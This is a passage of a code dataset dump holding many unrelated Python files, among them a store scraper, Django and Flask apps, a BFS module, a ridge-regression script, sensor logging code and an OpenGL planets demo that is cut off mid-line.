is None) else psi0\n\n res = solve_ivp(fun=get_f(c, alpha_d, m, K, kappa, migration),\n t_span=(0, t_span),\n t_eval=t_eval,\n y0=psi0,\n atol=migration / 100.,\n rtol=1e-8,\n method='RK45')\n #method='Radau', jac=(c, alpha_d, m, K, kappa))\n\n N = res.y[:S, :]\n R = res.y[S:, :]\n return res.t, N, R\n\n\ndef run_full_mcrm(S, M, mu_c, sigma_c, mu_d, sigma_d, gamma, mu_K, sigma_K, mu_m, sigma_m, mat_norm_ratio,\n t_span, kappa, num_time_evals=1000):\n\n c, alpha_d, m, K = draw_interactions(S, M, mu_c, sigma_c, mu_d, sigma_d,\n gamma, mu_K, sigma_K, mu_m, sigma_m, mat_norm_ratio)\n\n return integrate(c, alpha_d, m, K, t_span, kappa, num_time_evals=num_time_evals)\n","sub_path":"crm_chaos/full_mcrm_integrator.py","file_name":"full_mcrm_integrator.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"381408065","text":"import logging\nfrom decimal import Decimal\n\nfrom bs4 import BeautifulSoup\n\nfrom storescraper.categories import MOTHERBOARD, COMPUTER_CASE, CPU_COOLER, \\\n POWER_SUPPLY, MONITOR, HEADPHONES, MOUSE, KEYBOARD, GAMING_CHAIR, \\\n PROCESSOR, VIDEO_CARD, VIDEO_GAME_CONSOLE, STORAGE_DRIVE, GAMING_DESK, \\\n MICROPHONE, CASE_FAN\nfrom storescraper.product import Product\nfrom storescraper.store import Store\nfrom storescraper.utils import session_with_proxy, remove_words\n\n\nclass CentralGamer(Store):\n @classmethod\n def categories(cls):\n return [\n MOTHERBOARD,\n COMPUTER_CASE,\n CPU_COOLER,\n POWER_SUPPLY,\n MONITOR,\n HEADPHONES,\n MOUSE,\n KEYBOARD,\n GAMING_CHAIR,\n PROCESSOR,\n VIDEO_CARD,\n VIDEO_GAME_CONSOLE,\n STORAGE_DRIVE,\n GAMING_DESK,\n MICROPHONE,\n CASE_FAN,\n ]\n\n @classmethod\n def discover_urls_for_category(cls, category, extra_args=None):\n url_extensions = [\n ['almacenamiento-para-pc', STORAGE_DRIVE],\n ['fuentes-de-poder', POWER_SUPPLY],\n ['gabinetes-gamer', COMPUTER_CASE],\n ['placas-madre-pc', MOTHERBOARD],\n ['todo-para-pc-gamer/refrigeracion', CPU_COOLER],\n ['tarjetas-de-video', VIDEO_CARD],\n ['audifonos-gamer', HEADPHONES],\n ['monitores-gamers', MONITOR],\n ['mouses-gamer', MOUSE],\n ['teclados-gamer', KEYBOARD],\n ['sillas-gamer-y-alfombras', GAMING_CHAIR],\n ['procesadores', PROCESSOR],\n ['escritorios-gamer', GAMING_DESK],\n ['microfonos-streamer-gamer', MICROPHONE],\n ['todo-para-pc-gamer/refrigeracion/ventiladores-para-gabinete',\n CASE_FAN],\n ]\n session = session_with_proxy(extra_args)\n product_urls = []\n for url_extension, local_category in url_extensions:\n if local_category != category:\n continue\n page = 1\n while True:\n if page > 10:\n raise Exception('page overflow: ' + url_extension)\n url_webpage = 'https://www.centralgamer.cl/{}?page={}'.format(\n url_extension, page)\n data = session.get(url_webpage).text\n soup = BeautifulSoup(data, 'html.parser')\n product_containers = soup.findAll('div',\n 'product-block__wrapper')\n if not product_containers:\n if page == 1:\n logging.warning('Empty category: ' + url_extension)\n break\n for container in product_containers:\n product_url = container.find('a')['href']\n product_urls.append(\n 'https://www.centralgamer.cl' + product_url)\n page += 1\n return product_urls\n\n @classmethod\n def products_for_url(cls, url, category=None, extra_args=None):\n print(url)\n session = session_with_proxy(extra_args)\n response = session.get(url)\n soup = BeautifulSoup(response.text, 'html.parser')\n\n if 'Lo sentimos, no pudimos encontrar esa página' in soup.text:\n return []\n\n name = soup.find('h1', 'product-heading__title').text\n form = soup.find('form', 'product-form')\n if form:\n key = form['action'].split('/')[-1]\n else:\n key = soup.find('meta', {'property': 'og:id'})['content']\n span_sku = soup.find('span', 'product-heading__detail--sku')\n if span_sku:\n sku = span_sku.text.replace('SKU: ', '')\n else:\n sku = None\n\n stock_tag = soup.find('meta', {'property': 'product:availability'})\n\n if stock_tag['content'] == 'instock':\n stock = -1\n else:\n stock = 0\n\n price_tags = soup.findAll('h2', 'product-heading__pricing')\n\n if len(price_tags) % 2 == 0:\n if 'product-heading__pricing--has-discount' in \\\n price_tags[0]['class']:\n offer_price = Decimal(remove_words(\n price_tags[0].find('span').text))\n normal_price = Decimal(remove_words(\n price_tags[1].find('span').text))\n else:\n offer_price = Decimal(remove_words(price_tags[0].text))\n normal_price = Decimal(remove_words(price_tags[1].text))\n elif len(price_tags) % 1 == 1:\n if 'product-heading__pricing--has-discount' in \\\n price_tags[0]['class']:\n offer_price = Decimal(remove_words(\n price_tags[0].find('span').text))\n else:\n offer_price = Decimal(remove_words(price_tags[0].text))\n normal_price = offer_price\n else:\n raise Exception('Invalid price tags')\n\n picture_slider = soup.find('div', 'product-gallery__slider')\n if picture_slider:\n picture_urls = [tag['src'].split('?')[0] for tag in\n picture_slider.findAll('img')]\n else:\n picture_urls = [\n soup.find('div', 'product-gallery').find('img')['data-src']]\n p = Product(\n name,\n cls.__name__,\n category,\n url,\n url,\n key,\n stock,\n normal_price,\n offer_price,\n 'CLP',\n sku=sku,\n part_number=sku,\n picture_urls=picture_urls\n )\n return [p]\n","sub_path":"storescraper/stores/central_gamer.py","file_name":"central_gamer.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"342224690","text":"from tastypie import fields\nfrom tastypie.resources import ModelResource\n\nfrom warehouse.skill.api.meta import MetaBase\nfrom warehouse.skill.models import Product\n\nproduct_weight = 'SELECT SUM(weight) FROM skill_operation WHERE product_id = skill_product.id'\nproduct_len = 'SELECT SUM(len) FROM skill_operation WHERE product_id = skill_product.id'\n\n\nclass ProductResource(ModelResource):\n taxonomy_id = fields.IntegerField(attribute='taxonomy_id', null=True)\n weight = fields.FloatField(attribute='weight', null=True)\n len = fields.FloatField(attribute='len', null=True)\n\n class Meta(MetaBase):\n queryset = Product.objects.all().extra(select={\n 'weight': product_weight,\n 'len': product_len\n })\n resource_name = 'product'\n filtering = {\n 'taxonomy_id': ['in']\n }\n ordering = ['title']\n\n # def get_object_list(self, request):\n # queryset = super(ProductResource, self).get_object_list(request)\n # assert False, queryset.query\n # return queryset\n","sub_path":"warehouse/skill/api/resources/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"211451368","text":"\n\nfrom collections import defaultdict\nfrom .run import DEBUG\nimport heapq\n\n\nWHITE = 0\nGRAY = 1\nBLACK = 2\n\ndef BFSearch(G, satFunc, root=None):\n '''Returns the first Node in a Breath First Search that \n satisfies the condition satFunc(Graph,Vertex) == True.\n \n Returns None otherwise'''\n if DEBUG >= 2: print('BFSearch from {}'.format(root))\n for V in BFTraverse(G,root):\n if satFunc(G,V):\n return V\n\n\ndef BFTraverse(G,root=None):\n time = 0\n color = defaultdict(int)\n initTime = defaultdict(int)\n parent = dict()\n G._meta['parentBFStree'] = parent\n stack = []\n if root is None:\n for vertex in G.vertexes().values():\n stack.append(vertex)\n else:\n if type(root) == str:\n # This will raise a value error if the \n # element passed is a string but it correponds\n # to no vertex in the graph G.\n root = G.vertexes()[root]\n stack.append(root)\n\n while len(stack) != 0:\n while color[stack[-1]] != WHITE:\n stack.pop(-1)\n\n root = stack.pop(-1)\n queue = []\n queue.append((0,root))\n while len(queue) != 0:\n V = heapq.heappop(queue)\n time += 1\n initTime[V] = time\n color[V] = GRAY\n cost = V[0]\n vertex = V[1]\n if DEBUG >= 3: print('BFTraverse vertex {}'.format(vertex))\n yield vertex\n for neigh in G.Adj(vertex):\n if color[neigh] == WHITE:\n parent[neigh] = vertex\n heapq.heappush(queue,(cost+1,neigh))\n \n \n\n\n","sub_path":"BFS.py","file_name":"BFS.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"197103121","text":"class Book:\r\n\t\r\n\tbookName = \"\"\r\n\tauthor = \"\"\r\n\tpublisher = \"\"\r\n\t\r\n\tdef printResult(self):\r\n\t\tprint(\"책 제목:\", self.bookName)\r\n\t\tprint(\"출판사:\", self.author)\r\n\t\tprint(\"저자:\", self.publisher)\r\n\t\t\r\nbookA = Book()\r\n\r\nbookA.bookName = input(\"책 제목 입력: \")\r\nbookA.author = input(\"출판사 명 입력: \")\r\nbookA.publisher = input(\"저자 명 입력: \")\r\n\r\nbookA.printResult()","sub_path":"Week10(12_10)/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"355927741","text":"from dc_9 import Message\n\nclass Email(Message):\n def __init__(self, fromUser, toUser, topic, message=''):\n super().__init__(message)\n self.fromUser = fromUser\n self.toUser = toUser\n self.topic = topic\n def send(self):\n return f'''\nWysyłanie emaila...\nOd: {self.fromUser}\nDo: {self.toUser}\nTemat: {self.topic}\nTreść: {self.message}'''\n \nm1 = Email('jurek@małpa.pl','staszek@małpa.pl', 'Temat debaty')\nm1.set_message('aaaaaaaaaaa')\nprint(m1.send())\n","sub_path":"07-ObjectOrientedProgramming/dc_9_Email.py","file_name":"dc_9_Email.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"230766233","text":"__author__ =\"eduardlopez\"\r\n#import gc\r\nfrom collections import defaultdict\r\nimport json\r\nimport sys\r\nimport xml.etree.ElementTree as ET\r\n\r\nfrom pymongo import MongoClient\r\n\r\n\r\nnameCollection = \"5-civil-status-deaths\"\r\nfilename = nameCollection+\".xml\"\r\nintermediate = nameCollection+\"_INTERMEDIATE.txt\"\r\n\r\nclient = MongoClient('localhost', 27017)\r\ndb = client.local\r\ncollection = db[nameCollection]\r\n\r\n\r\n\r\n\r\n\r\n#gc.enable()\r\n\r\ndef parse_xml(file_name):\r\n events = (\"start\", \"end\")\r\n context = ET.iterparse(file_name, events=events)\r\n pt(context)\r\n\r\n\r\n\r\nno_tags = [\"OAI-PMH\", \"request\", \"responseDate\", \"ListRecords\", \"metadata\", \"A2A\"]\r\n\r\n\r\n#count = 0\r\n\r\ndef pt(context, cur_elem=None):\r\n #global count\r\n items = defaultdict(list)\r\n\r\n if cur_elem is not None:\r\n items.update(cur_elem.attrib)\r\n\r\n text = \"\"\r\n\r\n for action, elem in context:\r\n # print(\"{0:>6} : {1:20} {2:20} '{3}'\".format(action, elem.tag, elem.attrib, str(elem.text).strip()))\r\n\r\n tag = elem.tag.split('{')[1].split('}')[1]\r\n \"\"\"\r\n if tag == \"record\":\r\n if count > 3000:\r\n gc.collect()\r\n print \"collecting\"\r\n count = 0\r\n else:\r\n count = count + 1\r\n \"\"\"\r\n if tag not in no_tags:\r\n if action == \"start\":\r\n tag = elem.tag.split('{')[1].split('}')[1]\r\n\r\n t = pt(context, elem)\r\n if t is not None:\r\n items[tag].append(t)\r\n elif action == \"end\":\r\n text = elem.text.strip() if elem.text else \"\"\r\n if tag == \"record\":\r\n record = {k: v[0] if len(v) == 1 else v for k, v in items.items()}\r\n collection.insert_one(record).inserted_id\r\n return None\r\n break\r\n\r\n if len(items) == 0:\r\n return text\r\n #print\r\n #gc.garbage\r\n return {k: v[0] if len(v) == 1 else v for k, v in items.items()}\r\n\r\n\r\n\r\nnRecords = 0\r\nnMAXRecords = 2000\r\nlines = ''\r\n\r\n\r\n\r\nheader = open(\"header.xml\")\r\nheader = header.read()\r\nfooter = open(\"footer.xml\")\r\nfooter = footer.read()\r\n\r\nno_tags2 = [\"?xml\", \"<OAI-PMH\", \"<responseDate>\", \"<request verb=\", \" <ListRecords\"]\r\n\r\nrecordInLine = False\r\n\r\nwith open(filename) as f:\r\n\r\n\r\n for line in f:\r\n PASSline = False\r\n recordInLine = False\r\n\r\n if \"<record\" in line:\r\n a = line.split(\"<record\")\r\n a[1] = '<record' + a[1]\r\n recordInLine = True\r\n\r\n\r\n if recordInLine == False:\r\n\r\n for n_t in no_tags2 :\r\n if n_t in line:\r\n PASSline = True\r\n\r\n\r\n\r\n if PASSline is not True:\r\n if \"</record\" in line:\r\n nRecords += 1\r\n if nRecords >= nMAXRecords:\r\n lines = lines + line\r\n lines = header + lines + footer\r\n intermediate_file = open(intermediate, \"w\")\r\n intermediate_file.write(lines)\r\n intermediate_file.close()\r\n lines = ''\r\n parse_xml(intermediate)\r\n nRecords = 0\r\n else:\r\n lines = lines + line\r\n\r\n else:\r\n lines = lines + line\r\n\r\n else:\r\n\r\n\r\n\r\n for alem in a:\r\n line = alem\r\n\r\n if \"<ListRecords\" in alem:\r\n continue\r\n\r\n\r\n if PASSline is not True:\r\n if \"</record\" in line:\r\n nRecords += 1\r\n if nRecords >= nMAXRecords:\r\n lines = lines + line\r\n if \"</record></ListRecords>\" in line:\r\n lines = header + lines\r\n else:\r\n lines = header + lines + footer\r\n intermediate_file = open(intermediate, \"w\")\r\n intermediate_file.write(lines)\r\n intermediate_file.close()\r\n lines = ''\r\n parse_xml(intermediate)\r\n nRecords = 0\r\n else:\r\n lines = lines + line\r\n\r\n else:\r\n lines = lines + line\r\n\r\n\r\n\r\nif nRecords > 0:\r\n lines = lines\r\n lines = header + lines\r\n intermediate_file = open(intermediate, \"w\")\r\n intermediate_file.write(lines)\r\n intermediate_file.close()\r\n lines = ''\r\n parse_xml(intermediate)\r\n nRecords = 0\r\n\r\n#json_data = parse_xml(filename)\r\n\r\n\r\n\r\n","sub_path":"1-bhic-databases-xml_to_json/5-civil-status-deaths.py","file_name":"5-civil-status-deaths.py","file_ext":"py","file_size_in_byte":4765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"46908730","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom .forms import *\nfrom .models import *\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth import logout as django_logout\n# Create your views here.\n\ndef landing_page(request):\n\n return render(request,'portal/landing_page.html')\n\ndef student_signup(request):\n if request.method=='POST':\n form = student_signup_form(request.POST)\n if form.is_valid():\n user=User.objects.create_user(\n username=form.cleaned_data['username'],\n password=form.cleaned_data['password1'],\n )\n new_profile= Profile(\n identity = user,\n department=form.cleaned_data['department'],\n is_student = True,\n is_teacher = False,\n )\n new_profile.save()\n return redirect('/')\n else:\n return HttpResponse('<h1>Try Again</h1>')\n else:\n form = student_signup_form()\n return render(request, 'portal/student_signup.html', {'form': form})\n\ndef teacher_signup(request):\n if request.method=='POST':\n form = teacher_signup_form(request.POST)\n if form.is_valid():\n user = User.objects.create_user(\n username=form.cleaned_data['username'],\n password=form.cleaned_data['password1'],\n )\n new_profile = Profile(\n identity=user,\n department=form.cleaned_data['department'],\n is_student=False,\n is_teacher=True,\n )\n user.save()\n new_profile.save()\n return redirect('/')\n else:\n return HttpResponse('<h1>Try Again</h1>')\n else:\n form = student_signup_form()\n return render(request, 'portal/teacher_signup.html', {'form': form})\n\n\ndef user_login(request):\n if request.method == 'POST':\n form = UserLoginForm(request.POST)\n if form.is_valid():\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user:\n if user.profile.is_student:\n login(request, user)\n return redirect('student_dashboard')\n elif user.profile.is_teacher:\n login(request, user)\n return redirect('teacher_dashboard')\n else:\n return render(request, 'portal/inactiv_account.html')\n else:\n form = UserLoginForm()\n\n context = {\n 'form': form,\n }\n return render(request, 'portal/login.html', context)\n\ndef user_logout(request):\n\tdjango_logout(request)\n\treturn redirect('/')\n\n\ndef teacher_dashboard(request):\n if request.method == 'POST':\n form = DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n form.save(commit=True)\n # asd\n return render(request, 'portal/teacher_dashboard.html')\n else:\n form = DocumentForm()\n return render(request, 'portal/teacher_dashboard.html', {\n 'form': form\n })\n\n\ndef student_dashboard(request):\n documents = Document.objects.all()\n return render(request, 'portal/student_dashboard.html', {'documents': documents})\n","sub_path":"optional_personal_lms/portal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"583432353","text":"from mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nimport numpy as np \nfrom random import random, seed\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import Ridge, LinearRegression, Lasso\nfrom sklearn.model_selection import cross_validate, cross_val_score, train_test_split, KFold\nfrom sklearn.utils import resample\nfrom numpy.random import randint, randn\nfrom sklearn.pipeline import make_pipeline\nfrom random import randrange\nfrom sklearn.metrics import r2_score\n\n\ndef FrankeFunction(x,y):\n\tterm1 = 0.75*np.exp(-(0.25*(9*x-2)**(2)) - 0.5*((9*y-2)**(2)))\n\tterm2 = 0.75*np.exp(-((9*x+1)**(2))/49.0 - 0.1*(9*y+1))\n\tterm3 = 0.5*np.exp(-(9*x-7)**(2) - (9*y-7)**(2))\n\tterm4 = -0.2*np.exp(-(9*x-4)**(2) - (9*y-7)**(2))\n\n\treturn term1+ term2+ term3+ term4\n\n\ndef Create_DesignMatrix(x,y,degree):\n\tn = x.shape[0]\n\tif degree ==1:\n\t\tx = np.c_[np.ones(n), x, y]\n\n\n\telif degree == 2:\n\t\tx= np.c_[np.ones(n), x, y, x**2, x*y, y**2]\n\n\telif degree == 3:\n\t\tx= np.c_[np.ones(n), x,y, x**2, x*y, y**2, x**3, x**2*y, x*y**2, y**3]\n\n\telif degree == 4:\n\t\tx= np.c_[np.ones(n), x,y, x**2, x*y, y**2, x**3, x**2*y, x*y**2, y**3, x**4, x**3*y, x**2*y**2, x*y**3, y**4]\n\n\telif degree == 5:\n\t\tx= np.c_[np.ones(n), x,y, x**2, x*y, y**2, x**3, x**2*y, x*y**2, y**3, x**4, x**3*y, x**2*y**2, x*y**3, y**4, \\\n\t\tx**5, x**4*y, x**3*y**2, x**2*y**3, x*y**4, y**5]\n\n\telse:\n\t\traise ValueError('Degree not less than 6! :{}'.format(degree))\n\n\n\t#print(x.shape)\n\treturn x\n\ndef MSE(z_test, z_pred):\n\tmse = np.sum((z_test-z_pred)**2)/(np.size(z_pred))\n\treturn mse\n\n\ndef R2(z_test, z_pred):\n\tR2 = 1 - np.sum((z_test-z_pred) ** 2) / np.sum((z_test - np.mean(z_pred)) ** 2)\n\treturn R2\n\n\"\"\"\ndef ConfidenceInterval(x):\n\tsigma = np.std(x)/np.sqrt(len(x))\n\thigh = np.mean(x) + 1.96*(sigma)\n\tlow = np.mean(x) - 1.96*(sigma)\n\treturn np.mean(x), low, high\n\"\"\"\ndef ConfidenceInterval(beta):\n\t#sigma = np.var(beta)\n\tsigma =np.sqrt(np.diag(np.linalg.inv(X.T @ X)))\n\n\tbetahigh = beta + 1.96*(sigma)\n\tbetalow = beta - 1.96*(sigma)\n\n\tdiff = betahigh - betalow\n\n\tplt.scatter(range(len(beta)),beta)\n\tplt.errorbar(range(len(beta)), beta, yerr =np.array(diff),capsize=3, lw=1, fmt='r')\n\tplt.xlabel('$\\\\beta$ Range')\n\tplt.ylabel('$\\\\beta$')\n\tplt.legend(['Beta', 'Confidence Interval'])\n\tplt.title('Ridge regression with degree 5, noise 0.05, \\n lambda 0.0001 and 100 datapoints')\n\t#plt.savefig('RidgeErrorbar0.0001.png')\n\t#for i in range(len(beta)):\n\t\t#plt.errorbar(i, y= beta[i], yerr= 1.96*sigma[i])\n\tplt.show()\n\t\n\treturn betalow, betahigh\n\ndatapoints = 100\ndegree = 5\n\n\nx = np.linspace(0,1,datapoints)\ny = np.linspace(0,1,datapoints)\n\n\nx,y = np.meshgrid(x,y)\nnoise = 0.05*np.random.rand(len(x))\nz= FrankeFunction(x,y) + noise\n\n\nx= np.ravel(x)\ny= np.ravel(y)\nz = np.ravel(z)\nX = Create_DesignMatrix(x, y, degree)\n\nX_train, X_test, z_train, z_test = train_test_split(X, z, test_size = 0.2)\n\nR_lambda = 0.0001\n\np = np.eye(X.shape[1])\nbeta_R = np.dot(np.dot(np.linalg.inv(np.dot(X.T,X) + R_lambda*p), X.T),z)\t\nz_predict_ridreg = X_test.dot(beta_R)\nz_tilde = X_train @ beta_R\n\nprint('Training MSE: {}'.format(MSE(z_train, z_tilde)))\nprint('Test MSE: {}'.format(MSE(z_test, z_predict_ridreg)))\n\nprint('Training R2: {}'.format(R2(z_train, z_tilde)))\nprint('Test R2: {}'.format(R2(z_test, z_predict_ridreg)))\n\nprint('Training Variance: {}'.format(np.var(z_train)))\nprint('Test Variance: {}'.format(np.var(z_predict_ridreg)))\n\nprint('Confidence Interval: {}'.format(ConfidenceInterval(beta_R)))","sub_path":"Project1/src/ridge-project1.py","file_name":"ridge-project1.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"16278925","text":"# ====================================================================\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ====================================================================\n\nfrom unittest2 import TestCase as UnitTestCase, main, TestLoader\nimport lucene\nimport os\n\nclass BaseLuceneTestCase(UnitTestCase):\n \"Test base class\"\n \n def cleanup(*args):\n lucene.DumpCycleCheckRefs()\n \n def __init__(self, *args, **kwds):\n super(BaseLuceneTestCase, self).__init__(*args, **kwds)\n self.addCleanup(self.cleanup)\n\ndef load_tests(loader, standard_tests, pattern):\n # top level directory cached on loader instance\n this_dir = os.path.dirname(__file__)\n package_tests = loader.discover(start_dir=this_dir, pattern='test_*.py')\n standard_tests.addTests(package_tests)\n return standard_tests\n \nif __name__ == \"__main__\":\n import sys, lucene\n if '-loop' in sys.argv:\n sys.argv.remove('-loop')\n while True:\n try:\n main()\n except:\n pass\n else:\n main()\n\n","sub_path":"test/BaseLuceneTestCase.py","file_name":"BaseLuceneTestCase.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"229641408","text":"# Copyright (c) 2016 John Robinson\n# Author: John Robinson\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# Global Imports\nimport logging\nimport time\nimport Adafruit_GPIO\nimport serial\nimport sys\nimport datetime\n\n# Local Imports\nfrom Adafruit_MAX31856 import MAX31856 as MAX31856\n\nlogging.basicConfig(filename='simpletest.log', level=logging.DEBUG, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n_logger = logging.getLogger(__name__)\n\n# Uncomment one of the blocks of code below to configure your Pi to use software or hardware SPI.\n\n## Raspberry Pi software SPI configuration.\nsoftware_spi_1 = {\"clk\": 25, \"cs\": 8, \"do\": 9, \"di\": 10}\nsoftware_spi_2 = {\"clk\": 25, \"cs\": 7, \"do\": 9, \"di\": 10}\nsoftware_spi_3 = {\"clk\": 25, \"cs\": 11, \"do\": 9, \"di\": 10}\nsoftware_spi_4 = {\"clk\": 25, \"cs\": 5, \"do\": 9, \"di\": 10}\nsensor_1 = MAX31856(software_spi=software_spi_1)\nsensor_2 = MAX31856(software_spi=software_spi_2)\nsensor_3 = MAX31856(software_spi=software_spi_3)\nsensor_4 = MAX31856(software_spi=software_spi_4)\n\n#For Thermocouple\n# Raspberry Pi hardware SPI configuration.\n#SPI_PORT = 0\n#SPI_DEVICE = 0\n\n\n#For Load Cell\nser = serial.Serial('/dev/ttyUSB0', 115200)\n\n#Setting Up Text file to record Data\nf_stream = open(\"Test_Fire_Data.txt\", \"w\")\nf_stream.write(\"Time ThermoTemp InternalTemp LoadCell\\n\")\n\n\n# Loop printing measurements\nprint('Press Ctrl-C to quit.')\nwhile True:\n temp = sensor.read_temp_c()\n internal = sensor.read_internal_temp_c()\n print('ThermoTemp: {0:0.3F}*C'.format(temp))\n print('IntTemp: {0:0.3F}*C'.format(internal))\n loadCellData=ser.readline()\n if loadCellData:\n print(loadCellData)\n #Writes to the file everytime the loop runs \n f_stream.write(str(datetime.datetime.now().strftime(\"%H:%M:%S.%f\")) +\" \"+ str(temp) +\" \"+ str(internal) + \" \"+ str(loadCellData))\n\n#Ends the file Stream\nf_stream.close()\n\n","sub_path":"testfirecode.py","file_name":"testfirecode.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"15523451","text":"from collections import defaultdict\n\ndef uni_char(s):\n \n d = defaultdict()\n\n for item in s:\n if d.has_key(item):\n return False\n d[str(item)] = 1\n \n return True\n\ndef uni_char2(s):\n\n return len(set(s)) == len(s)\n\ndef uni_char3(s):\n \n char = set()\n \n for let in s:\n if let in char:\n return False\n else:\n char.add(let)\n return True\n\nprint (uni_char('abcdefg'))\nprint (uni_char2('abcdefg'))\nprint (uni_char3('abcdefg'))","sub_path":"PythonInterviewProblems/ArraysAndSequences/Unique_Characters.py","file_name":"Unique_Characters.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"272062996","text":"'''Фирма ежегодно на протяжении n лет закупала оборудование стоимостью соответственно s1, s2, ..., sn pублей в год\r\n(эти числа вводятся и обрабатываются последовательно). Ежегодно в результате износа и морального старения (амортизации)\r\n все имеющееся оборудование уценивается на р%. Какова общая стоимость накопленного оборудования за n лет?'''\r\n\r\nfrom random import *\r\n\r\ncost_later = 0\r\np = randrange(1, 99)\r\ncost = [(randrange(1, 1000)) for i in range(randrange(3, 10))]\r\nprint('Ежегодные закупки оборудования:', *['{0:2.2f}$'.format(j) for j in cost], sep='\\n')\r\nprint(f'Амортизация: {p}%')\r\nfor i in cost:\r\n cost_later += i\r\n cost_later *= p / 100\r\nprint(f'Остаточная стоймость :', '{0:2.2f}$'.format(cost_later))\r\n","sub_path":"task_2_4.py","file_name":"task_2_4.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"133512549","text":"from flask import Flask\r\nfrom flask_compress import Compress\r\napp = Flask(__name__)\r\nCompress(app)\r\nfrom views import *\r\n\r\nif ( app.debug ):\r\n from werkzeug.debug import DebuggedApplication\r\n app.wsgi_app = DebuggedApplication( app.wsgi_app, True )\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host='0.0.0.0', threaded=True,debug=True, port=1980)\r\n\r\nif __name__!= \"__main__\":\r\n #Setup the logger\r\n import logging\r\n handler = logging.StreamHandler()\r\n handler.setLevel(logging.DEBUG)\r\n handler.setFormatter(logging.Formatter(\r\n '%(asctime)s %(levelname)s: %(message)s '\r\n '[in %(pathname)s:%(lineno)d]'))\r\n app.logger.removeHandler(app.logger.handlers[0])\r\n app.logger.addHandler(handler)\r\n app.debug = True\r\n app.logger.debug('Starting app......')\r\n","sub_path":"sdi_longrunning/restapi/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"584844996","text":"#!/usr/bin/python3\r\n\r\n# Ben Smith\r\n# benjamin.coder.smith@gmail.com\r\n#\r\n# Based on Planets.cpp\r\n# OpenGL SuperBible, 3rd Edition\r\n# Richard S. Wright Jr.\r\n# rwright@starstonesoftware.com\r\n\r\n\r\nfrom math import cos, sin\r\n\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLUT import *\r\nfrom OpenGL.GLU import *\r\n\r\nfrom PIL import Image\r\nimport time \r\n\r\nESCAPE = b'\\033'\r\n\r\n\r\n# Define object names\r\nSUN = 1\r\nMERCURY = 2\r\nVENUS = 3\r\nEARTH = 4\r\nMARS = 5\r\n\r\nglobal fAspect\r\n\r\nlightArrayType = GLfloat * 4\r\n\r\n# Just draw a sphere of some given radius\r\ndef DrawSphere(radius):\r\n pObj = gluNewQuadric()\r\n gluQuadricNormals(pObj, GLU_SMOOTH)\r\n gluSphere(pObj, radius, 26, 13)\r\n gluDeleteQuadric(pObj)\r\n\r\n\r\ndef ProcessPlanet(id):\r\n if id == 